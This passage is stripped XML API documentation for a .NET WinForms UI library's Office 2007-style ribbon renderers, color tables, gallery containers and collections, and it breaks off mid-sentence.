+ + Draws the background of Quick Access Toolbar on Ribbon Control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderQuickAccessToolbarBackground method so events can occur. + + Provides context information. + + + + Raises RenderMdiSystemItem event. + + Provides context information. + + + + Draws the MdiSystemItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderMdiSystemItem method so events can occur. + + Provides context information. + + + + Raises RenderFormCaptionBackground event. + + Provides context information. + + + + Draws the form caption background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderFormCaptionBackground method so events can occur. + + Provides context information. + + + + Raises RenderQatOverflowItem event. + + Provides context information. + + + + Draws the Quick Access Toolbar Overflow item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderQatOverflowItem method so events can occur. + + Provides context information. + + + + Raises RenderQatCustomizeItem event. + + Provides context information. + + + + Draws the Quick Access Toolbar Customize Item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderQatCustomizeItem method so events can occur. + + Provides context information. + + + + Raises RenderCheckBoxItem event. + + Provides context information. + + + + Draws the CheckBoxItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCheckBoxItem method so events can occur. + + Provides context information. + + + + Raises RenderCheckBoxItem event. + + Provides context information. + + + + Draws the ProgressBarItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderProgressBarItem method so events can occur. + + Provides context information. + + + + Raises RenderNavPaneButtonBackground event. + + Provides context information. + + + + Draws the Navigation Pane button background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderNavPaneButtonBackground method so events can occur. + + Provides context information. + + + + Raises RenderSliderItem event. + + Provides context information. + + + + Draws the Slider item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSliderItem method so events can occur. + + Provides context information. + + + + Raises RenderSideBar event. + + Provides context information. + + + + Draws the SideBar control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSideBar method so events can occur. + + Provides context information. + + + + Raises RenderSideBarPanelItem event. + + Provides context information. + + + + Draws the SideBar control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSideBarPanelItem method so events can occur. + + Provides context information. + + + + Raises RenderCrumbBarItemView event. + + Provides context information. + + + + Draws CrumbBarItemView. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCrumbBarItemView method so events can occur. + + Provides context information. + + + + Raises RenderCrumbBarOverflowItem event. + + Provides context information. + + + + Draws CrumbBarOverflowButton. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCrumbBarOverflowItem method so events can occur. + + Provides context information. + + + + Raises RenderSwitchButton event. + + Provides context information. + + + + Draws the Switch Button. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSwitchButton method so events can occur. + + Provides context information. + + + + Raises RenderRangeSliderItem event. + + Provides context information. + + + + Draws the Range Slider item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRangeSliderItem method so events can occur. + + Provides context information. + + + + Raises RenderStepItem event. + + Provides context information. + + + + Draws the Step item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderStepItem method so events can occur. + + Provides context information. + + + + Raises RenderListBoxItem event. + + Provides context information. + + + + Draws the ListBoxItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderListBoxItem method so events can occur. + + Provides context information. + + + + Raises RenderListBoxItem event. + + Provides context information. + + + + Draws the ListBoxItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderListBoxItem method so events can occur. + + Provides context information. + + + + Raises RenderTabFormStrip event. + + Provides context information. + + + + Draws the TabStrip. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabFormStrip method so events can occur. + + Provides context information. + + + + Raises RenderTabFormItem event. + + Provides context information. + + + + Draws the TabStrip. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabFormStrip method so events can occur. + + Provides context information. + + + + Raises RenderNewTabFormItem event. + + Provides context information. + + + + Draws the NewTabFormItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabFormStrip method so events can occur. + + Provides context information. + + + + Raises RenderTabParentForm event. + + Provides context information. + + + + Draws the TabParentForm. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabParentForm method so events can occur. + + Provides context information. + + + + Occurs when KeyTip is rendered. + + + + + Occurs when ribbon tab group is rendered. + + + + + Occurs when ItemContainer is rendered. + + + + + Occurs when separator is drawn for an item inside of ItemContainer. + + + + + Occurs when ButtonItem is rendered. + + + + + Occurs when RibbonTabItem is rendered. + + + + + Occurs when docked or floating toolbar is rendered. + + + + + Occurs when popup toolbar is rendered. + + + + + Occurs when dialog launcher button on ribbon bar is rendered. + + + + + Occurs when Ribbon Control background is rendered. + + + + + Occurs when form caption text on ribbon control is rendered. + + + + + Occurs when Quick Access Toolbar background is rendered. + + + + + Occurs when ColorItem is rendered. + + + + + Occurs when SystemCaptionItem is rendered. + + + + + Occurs when MdiSystemItem is rendered. + + + + + Occurs when form caption is background is being rendered. + + + + + Occurs when quick access toolbar overflow item is being rendered. + + + + + Occurs when quick access toolbar customize item is being rendered. + + + + + Occurs when CheckBoxItem is being rendered. + + + + + Occurs when ProgressBarItem is being rendered. + + + + + Occurs when Navigation pane button background is being rendered. + + + + + Occurs when Slider item is being rendered. + + + + + Occurs when Range Slider item is being rendered. + + + + + Occurs when SideBar control is being rendered. + + + + + Occurs when SideBarPanelItem control is being rendered. + + + + + Occurs when CrumbBarItemView is rendered. + + + + + Occurs when CrumbBarOverflowButton is rendered. + + + + + Occurs when Slider item is being rendered. + + + + + Occurs when StepItem is being rendered. + + + + + Occurs when ListBoxItem is being rendered. + + + + + Occurs when SideNavItem is being rendered. + + + + + Occurs when TabStrip is being rendered. + + + + + Occurs when TabFormItem is rendered. + + + + + Occurs when NewTabFormItem is rendered. + + + + + Occurs when TabParentForm is being rendered. + + + + + Draws KeyTip for an object. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderKeyTips method so events can occur. + + Provides context information. + + + + Draws ribbon tab group. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonTabGroup method so events can occur. + + Provides context information. + + + + Draws item container. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderItemContainer method so events can occur. + + Provides context information. + + + + Draws the separator for an item inside of item container. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderItemContainerSeparator method so events can occur. + + Provides context information. + + + + Draws ButtonItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderButtonItem method so events can occur. + + Provides context information. + + + + Draws RibbonTabItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonTabItem method so events can occur. + + Provides context information. + + + + Draws popup toolbar background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderPopupToolbarBackground method so events can occur. + + Provides context information. + + + + Draws docked or floating toolbar background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderToolbarBackground method so events can occur. + + Provides context information. + + + + Draws floating toolbar background. + + Provides context information. + + + + Draws ribbon bar dialog launcher button. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderPopupToolbarBackground method so events can occur. + + Provides context information. + + + + Draws ColorItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderColorItem method so events can occur. + + Provides context information. + + + + Draws the background of the Ribbon Control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonControlBackground method so events can occur. + + Provides context information. + + + + Draws the form caption text for the Ribbon Control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonFormCaptionText method so events can occur. + + Provides context information. + + + + Draws the background of Quick Access Toolbar on Ribbon Control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderQuickAccessToolbarBackground method so events can occur. + + Provides context information. + + + + Draws the SystemCaptionItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSystemCaptionItem method so events can occur. + + Provides context information. + + + + Draws the MdiSystemItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderMdiSystemItem method so events can occur. + + Provides context information. + + + + Draws the form caption background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderFormCaptionBackground method so events can occur. + + Provides context information. + + + + Draws the Quick Access Toolbar Overflow item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderQatOverflowItem method so events can occur. + + Provides context information. + + + + Draws the Quick Access Toolbar Overflow item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderQatOverflowItem method so events can occur. + + Provides context information. + + + + Draws the ProgressBarItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderProgressBarItem method so events can occur. + + Provides context information. + + + + Draws the Navigation Pane button background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderNavPaneButtonBackground method so events can occur. + + Provides context information. + + + + Draws the Slider item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSliderItem method so events can occur. + + Provides context information. + + + + Draws the SideBar control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSideBar method so events can occur. + + Provides context information. + + + + Draws the SideBar control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSideBarPanelItem method so events can occur. + + Provides context information. + + + + Draws CrumbBarItemView. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderButtonItem method so events can occur. + + Provides context information. + + + + Draws CrumbBarOverflowButton. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCrumbBarOverflowItem method so events can occur. + + Provides context information. + + + + Draws SwitchButton. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderButtonItem method so events can occur. + + Provides context information. + + + + Draws the Slider item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSliderItem method so events can occur. + + Provides context information. + + + + Draws the Step item. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderStepItem method so events can occur. + + Provides context information. + + + + Draws the ListBoxItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderListBoxItem method so events can occur. + + Provides context information. + + + + Draws the ListBoxItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderListBoxItem method so events can occur. + + Provides context information. + + + + Draws the TabStrip. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabFormStrip method so events can occur. + + Provides context information. + + + + Draws the TabStrip. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabFormStrip method so events can occur. + + Provides context information. + + + + Draws the TabStrip. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabFormStrip method so events can occur. + + Provides context information. + + + + Draws the TabParentForm. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTabParentForm method so events can occur. + + Provides context information. + + + + Occurs when color table is changed by setting the ColorTable property on the renderer. + + + + + Gets or sets color table used by renderer. + + + + + Defines color table for RibbonBar in various states. + + + + + Gets or sets the colors for the default RibbonBar state. + + + + + Gets or sets the colors for RibbonBar when mouse is over the control. + + + + + Gets or sets the colors for RibbonBar when ribbon bar is in overflow state and expanded to show all the items. + + + + + Represents the color table of RibbonBar for Office 2007 style. Default values represent blue Luna theme. + + + + + Gets or sets the height in pixels of top background part. + + + + + Gets or sets the outer border colors. + + + + + Gets or sets the inner border colors. + + + + + Gets or sets the top background colors. + + + + + Gets or sets the bottom background colors. + + + + + Gets or sets the title background colors. + + + + + Gets or sets the color of title text. + + + + + Defines color table for Ribbon Control. + + + + + Gets or sets the colors for the outer border. + + + + + Gets or sets the colors for the inner border. + + + + + Gets or sets the colors for the tabs background area. + + + + + Gets or sets the colors for the tabs background area when Windows Glass is enabled. + + + + + Gets or sets the color of border which is drawn above the tab. + + + + + Gets or sets the light color of border which is drawn above the tab. + + + + + Gets or sets the round corner size for the ribbon control parts. + + + + + Gets or sets the height in pixels of top background part. + + + + + Gets or sets the top background colors. + + + + + Gets or sets the bottom background colors. + + + + + Gets or sets the background image used on Office 2007 style start button displayed in top-left corner of ribbon control. + Note that image assigned to all StartButton properties must be the same size. The size for the button will be determined by image + size set on this property. + + + + + Gets or sets the background image used on Office 2007 style start button displayed in top-left corner of ribbon control when mouse is over the button. + + + + + Gets or sets the background image used on Office 2007 style start button displayed in top-left corner of ribbon control when button is pressed. + + + + + Represents painter for Office 2007 style ribbon overflow button. + + + + + Defines the color table for the Ribbon Tab Group. + + + + + Gets or sets the name of the color table. + + + + + Gets or sets the background color. + + + + + Gets or sets the background highlight colors. + + + + + Gets or sets the text color. + + + + + Gets or sets the border color + + + + + Collection for Office2007RibbonTabGroupColorTable type. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Returns whether collection contains object with specified name. + + Name of the object to look for + true if object with given name is part of the collection otherwise false + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Office2007RibbonTabItemColorTable array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's index. + + + + + Defines the color table for RibbonTabItem states. + + + + + Gets or sets the name of the color table. + + + + + Gets or sets the default tab colors. + + + + + Gets or sets the selected tab colors. + + + + + Gets or sets the selected tab colors when mouse is over the tab. + + + + + Gets or sets the colors when mouse is over the tab but tab is not selected. + + + + + Gets or sets the round corner size for the top part of the ribbon tab item. + + + + + Defines collection for Office2007RibbonTabItemColorTable items. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Returns whether collection contains object with specified name. + + Name of the object to look for + true if object with given name is part of the collection otherwise false + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Office2007ButtonItemColorTable array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's index. + + + + + Defines the colors for the RibbonTabItem state like but not limited to selected, mouse over etc. + + + + + Gets or sets the colors for the outer border. + + + + + Gets or sets the colors for the inner border. + + + + + Gets or sets the background colors. + + + + + Gets or sets the background highlight colors. + + + + + Gets or sets the text color. + + + + + Gets or sets the text color when rendered on Windows Glass. + + + + + Defines the colors for the scroll bar control. + + + + + Gets or sets the colors for the control default state. + + + + + Gets or sets the colors for the control when mouse is pressed over the control. + + + + + Gets or sets the colors for the control when mouse is over the control but not over an active part of the control like scroll buttons. + + + + + Gets or sets the colors for the control when mouse is over the active part of the control like scroll buttons. + + + + + Gets or sets the colors for the control when control is disabled. + + + + + Represents the color table for the Scroll bar in single state. + + + + + Gets or sets the outer border color for the scroll bar thumb. + + + + + Gets or sets the inner border color for the scroll bar thumb. + + + + + Gets or sets the thumb background color blend collection. + + + + + Gets or sets the directional sign background color for the scroll bar thumb. + + + + + Gets or sets the outer border color for the scroll bar track button. + + + + + Gets or sets the inner border color for the scroll bar track button. + + + + + Gets or sets the track background color blend collection. + + + + + Gets or sets the background color for the track signs. + + + + + Gets or sets the background colors for the entire control. + + + + + Gets or sets the border colors for the entire control. + + + + + Represents the color table for Office 2007 Style Side Bar Control. + + + + + Gets or sets the background color of the control. + + + + + Gets or sets the control border color. + + + + + Gets or sets the color of SideBarPanelItem text. + + + + + Gets or sets the color table for SideBarPanelItem in default state. + + + + + Gets or sets the color table for SideBarPanelItem in mouse over state. + + + + + Gets or sets the color table for SideBarPanelItem in expanded state. + + + + + Gets or sets the color table for SideBarPanelItem when mouse button is pressed on the item. + + + + + Gets or sets color table used by renderer. + + + + + Populates Office 2007 Color Table with Silver color scheme + + + + + Initializes ColorScheme object with the black color scheme. + + ColorScheme object to initialize. + + + + Defines the color table for the slider item. + + + + + Gets or sets the default state colors. + + + + + Gets or sets the mouse over state colors. + + + + + Gets or sets the mouse pressed colors. + + + + + Gets or sets the disabled colors. + + + + + Gets or sets the optional color table for Thumb part of the slider. When set to null default values from Office2007SliderColorTable are used. + + + + + Gets or sets the optional color table for Increase button part of the slider. When set to null default values from Office2007SliderColorTable are used. + + + + + Gets or sets the optional color table for Decrease button part of the slider. When set to null default values from Office2007SliderColorTable are used. + + + + + Defines set of color tables for single slider part. + + + + + Gets or sets the default state colors. + + + + + Gets or sets the mouse over state colors. + + + + + Gets or sets the mouse pressed colors. + + + + + Renders the Slider items. + + + + + Gets or sets color table used by renderer. + + + + + Defines the color table for the Slider Item in single state. + + + + + Gets or sets the part background colors. + + + + + Gets or sets the part border color + + + + + Gets or sets the part border light color + + + + + Gets or sets the part foreground color. + + + + + Gets or sets the part foreground light color. + + + + + Gets or sets the track line color. + + + + + Gets or sets the track line light color. + + + + + Gets or sets the track label color. + + + + + Gets or sets the track label color when on Slider control. + + + + + Defines the color table for the SuperTooltip. + + + + + Gets or sets the background colors. + + + + + Gets or sets the text color. + + + + + Represents color table for Office 2007 style system button displayed in form caption. + + + + + Gets or sets the color table of default button state. + + + + + Gets or sets the color table of button state when mouse is over the button. + + + + + Gets or sets the color table of button state when mouse is pressed over the button. + + + + + Represents color table for single state of Office 2007 style system button displayed in form caption. + + + + + Gets or sets the outer border colors. + + + + + Gets or sets the inner border colors. + + + + + Gets or sets top part background colors. + + + + + Gets or sets bottom part background colors. + + + + + Gets or sets highlight colors for the top background part. + + + + + Gets or sets highlight colors for the bottom background part. + + + + + Gets or sets the foreground color for the button. + + + + + Gets or sets the dark shading color for the foreground. + + + + + Gets or sets the light shading color for the foreground. + + + + + Represents the color table for the tab control. + + + + + Gets or sets the default tab item colors. + + + + + Gets or sets the mouse over tab item colors. + + + + + Gets or sets the selected tab item colors. + + + + + Gets or sets the color of the tab background colors. + + + + + Gets or sets the tab-strip background image. + + + + + Gets or sets the color of the tab panel background colors. + + + + + Gets or sets the color of tab panel border. + + + + + Represents the color table for the tab item. + + + + + Gets or sets top part background colors. + + + + + Gets or sets the bottom part background colors. + + + + + Gets or sets the outer border colors. + + + + + Gets or sets the inner border colors. + + + + + Gets or sets the text colors. + + + + + Paints background of docked bar. + + Context information + + + + Paints background of floating bar. + + Context information + + + + Paints background of popup bar. + + Context information + + + + Summary description for ButtonItemPainterHelper. + + + + + Provides data for ButtonItem rendering. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets the reference to ButtonItem instance being rendered. + + + + + Reference to internal data. + + + + + Indicates whether to cancel system rendering of the item. + + + + + Creates new instance of the object. + + + + + Creates new instance of the object and initializes it with default values + + Reference to Graphics object. + Reference to ButtonItem object. + + + + Creates new instance of the object and initializes it with default values + + Reference to Graphics object. + Reference to ButtonItem object. + + + + Defines container for ribbon caption layout and quick access toolbar customization and overflow. + + + + + Summary description for DesignTimeProviderContainer. + + + + + + + + Returns insertion index for an item taking in account any system items that are at the end of the collection. + + Parent item + Returns the index at which an item should be inserted + + + + Defines delegate for RenderKeyTips event. + + + + + Defines delegate for RenderRibbonTabGroup event. + + + + + Defines delegate for RenderItemContainer event. + + + + + Defines delegate for RenderItemContainerSeparator event. + + + + + Defines delegate for ButtonItem rendering events. + + + + + Defines delegate for RibbonTabItem rendering events. + + + + + Defines delegate for toolbar rendering events. + + + + + Defines delegate for Rendering dialog launcher button rendering events. + + + + + Defines delegate for ColorItem rendering events. + + + + + Defines delegate for RibbonControl rendering events. + + + + + Defines delegate for SystemCaptionItem rendering events. + + + + + Defines delegate for MdiSystemItem rendering events. + + + + + Defines delegate for RenderFormCaptionBackground rendering events. + + + + + Defines delegate for CustomizeMenuPopup events. + + + + + Defines delegate for the Quick Access Overflow item rendering events. + + + + + Defines delegate for the Quick Access Customize item rendering events. + + + + + Defines delegate for the Quick Access Customization dialog events. + + + + + Defines delegate for the CheckBoxItem rendering events. + + + + + Defines delegate for the ProgressBarItem rendering events. + + + + + Defines delegate for the Navigation Pane rendering events. + + + + + Defines delegate for the BeforeRibbonPanelPopupClose event. + + + + + Defines delegate for the Slider item rendering events. + + + + + Defines delegate for the SideBar control rendering event. + + + + + Defines delegate for the SideBarPanelItem control rendering event. + + + + + Defines delegate for the SwitchButtonItem control rendering event. + + + + + Defines delegate for the Slider item rendering events. + + + + + Defines delegate for the StepItem rendering events. + + + + + Defines delegate for the ListBoxItem rendering events. + + + + + Defines delegate for the SideNavItem rendering events. + + + + + Defines delegate for the TabStrip rendering events. + + + + + Defines delegate for the TabParentForm rendering events. + + + + + Represents the class that provides Office 2007 style Gallery container with drop-down ability. + + + + + Creates new instance of the class + + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Returns the client rectangle which is DisplayRectangle excluding scroll-bar bounds + + + + + + Invokes GalleryPopupOpen event. + + + + + + Invokes GalleryPopupShowing event. + + + + + + Invokes GalleryPopupClose event. + + + + + + Invokes GalleryPopupFinalized event. + + + + + + Gets whether DefaultSize property is serialized by Windows Forms designer based on its current value. + + + + + Resets DefaultSize property to its default value. + + + + + Gets whether PopupGallerySize property is serialized by Windows Forms designer based on its current value. + + + + + Resets PopupGallerySize property to its default value. + + + + + Scrolls the gallery if necessary to ensures that item is visible. + + Reference to the items that is part of the gallery. + + + + Scrolls gallery down to show next line of items. + + + + + Scrolls gallery up to show previous line of items. + + + + + + Opens the Gallery popup menu. + + + + + Called on each item when ScaleControl method of parent control is called and gives opportunity to item to adjust its displayed based on current scaling. + + Scale factor. + + + + Returns whether Gallery can extend the object. + + Object to test extensibility for. + Returns true if object can be extended otherwise false. + + + + Gets the GalleryGroup item is assigned to. + + Reference to item. + An instance of GalleryGroup object or null if item is not assigned to the group + + + + Assigns the item to the gallery group. + + Item to assign. + Group to assign item to. Can be null to remove item assignment. + + + + Occurs when Gallery popup item is about to open. + + + + + Occurs just before Gallery popup window is shown. + + + + + Occurs before the Gallery popup item is closed. + + + + + Occurs after Gallery popup item has been closed. + + + + + Gets or sets orientation inside the container. GalleryContainer automatically manages the layout orientation and this property should not be changed from its default value. + + + + + Gets or sets the item alignment when container is in horizontal layout. Default value is Left. + + + + + Gets or sets the item vertical alignment. Default value is Top. + + + + + Gets or sets whether items in horizontal layout are wrapped into the new line when they cannot fit allotted container size. Default value is false. + + + + + Gets or sets whether items contained by container are resized to fit the container bounds. When container is in horizontal + layout mode then all items will have the same height. When container is in vertical layout mode then all items + will have the same width. Default value is true. + + + + + Gets or sets whether Gallery when on popup is using standard scrollbars to scroll the content. + Standard scrollbars are displayed on right hand side of the Gallery. Default value for this property is true. + When set to false the scroll buttons are displayed only when needed and two buttons on top and bottom + of the Gallery are used to indicate the scrolling possibility and enable scrolling. Buttons are only + visible when needed. This scrolling button style can be used for example on Application Menu + to enable scrolling of list of most recently used files. + + + + + Gets or sets whether gallery is using incremental sizing when stretched. Default + value is true. Incremental sizing will resize the width of the gallery so it fits + completely the items it can contain in available space. That means that gallery will + occupy enough space to display the whole items within available space. When set to + false, it indicates that gallery will resize to fill all available space. + + + + + Gets or sets whether Gallery width is determined based on the RibbonBar width. This property is in effect when + Gallery is hosted directly the RibbonBar control. Default value is false. + When set to true the Gallery size is changed as the RibbonBar control is resized. The initial size of the Gallery is + determined by DefaultSize property. The MinimumSize property specifies the minimum size of the Gallery. + Note that only single Gallery can be stretched per RibbonBar control. + + + + + Gets the collection of the items that are added to the popup gallery. The items displayed on the gallery are combined with the + items from this collection and they are displayed on the gallery popup. This collection can for example have items that are + customizing the choices of the commands in gallery etc. + + + + + Gets or sets the default size of the gallery. The gallery height will be always enforced so all scroll buttons can be displayed. + Gallery width should allow display of both scroll buttons and the gallery content. + + + + + Gets or sets the default size of the gallery when gallery is displayed on the popup menu. + + + + + Gets or sets whether gallery can be displayed on the popup. Default value is true. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets whether the Gallery popup is open. + + + + + Gets or sets the Key Tips access key or keys for the item when on Ribbon Control or Ribbon Bar. Use KeyTips property + when you want to assign the one or more letters to be used to access an item. For example assigning the FN to KeyTips property + will require the user to press F then N keys to select an item. Pressing the F letter will show only keytips for the items that start with letter F. + + + + + Gets or sets whether scroll animation is enabled. Default value is true. + Scroll animation will be disabled if gallery is running under Remote Windows Terminal session or fade animation effect is disabled on the + container control. + + + + + Gets the collection of GalleryGroup objects associated with this gallery. Groups are assigned optionally to one or more items + that are part of the GalleryContainer. Groups are used to visually group the items when gallery is displayed on the popup. + + + + + Represents the popup gallery group that groups set of items inside of gallery into the group. + + + + + Creates new instance of the object. + + + + + Gets or sets title of the group that will be displayed on the group label when on popup gallery. + + + + + Gets or sets name of the group that can be used to identify item from the code. + + + + + Gets the parent gallery for the group. + + + + + Gets or sets the display order for the group when displayed on the popup. Lower values are displayed closer to the top. Default value is 0. + + + + + Gets the collection of the items assigned to this group. + + + + + Represents the GalleryGroup typed collection. + + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds new objects to the collection. + + Array of groups to add. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the GalleryGroup array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. + + + + + Summary description for ISimpleElement. + + + + + Represents IBlock layout manager implementation + + + + + Resizes the content block and sets it's Bounds property to reflect new size. + + Content block to resize. + + + + Indicates container title location. + + + + + Provides data for rendering ItemContainer. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets the reference to ItemContainer instance being rendered. + + + + + Creates new instance of the object. + + Reference to graphics object. + Reference to ItemContainer object. + + + + Provides data for the item separator rendering inside of the ItemContainer. + + + + + Gets or sets the reference to the item separator is being rendered for. + + + + + Creates new instance of the object. + + + + + Represents class for Accessibility support. + + + + + Creates new instance of the object and initializes it with owner control. + + Reference to owner control. + + + + Returns number of child objects. + + Total number of child objects. + + + + Returns reference to child object given the index. + + 0 based index of child object. + Reference to child object. + + + + Gets accessible role. + + + + + Gets parent accessibility object. + + + + + Returns bounds of the control. + + + + + Returns current accessible state. + + + + + Represents class for item display. + + + + + Represents canvas for KeyTips + + + + + Represents data for key tips rendering. + + + + + Gets or sets the graphics object used for rendering. + + + + + Gets or sets key tip bounds. + + + + + Gets or sets the text of key tip to be rendered. + + + + + Gets or sets the font key tip should be rendered with. + + + + + Reference object for which Key Tip is rendered. For example this could be reference to an instance of ButtonItem or BaseItem as well + as reference to System.Windows.Forms.Control object. Always test for type before accessing this reference. + + + + + Creates new instance of the object and initializes it with default values. + + + + + Represents painter for the MdiSystemItem. + + + + + Paints 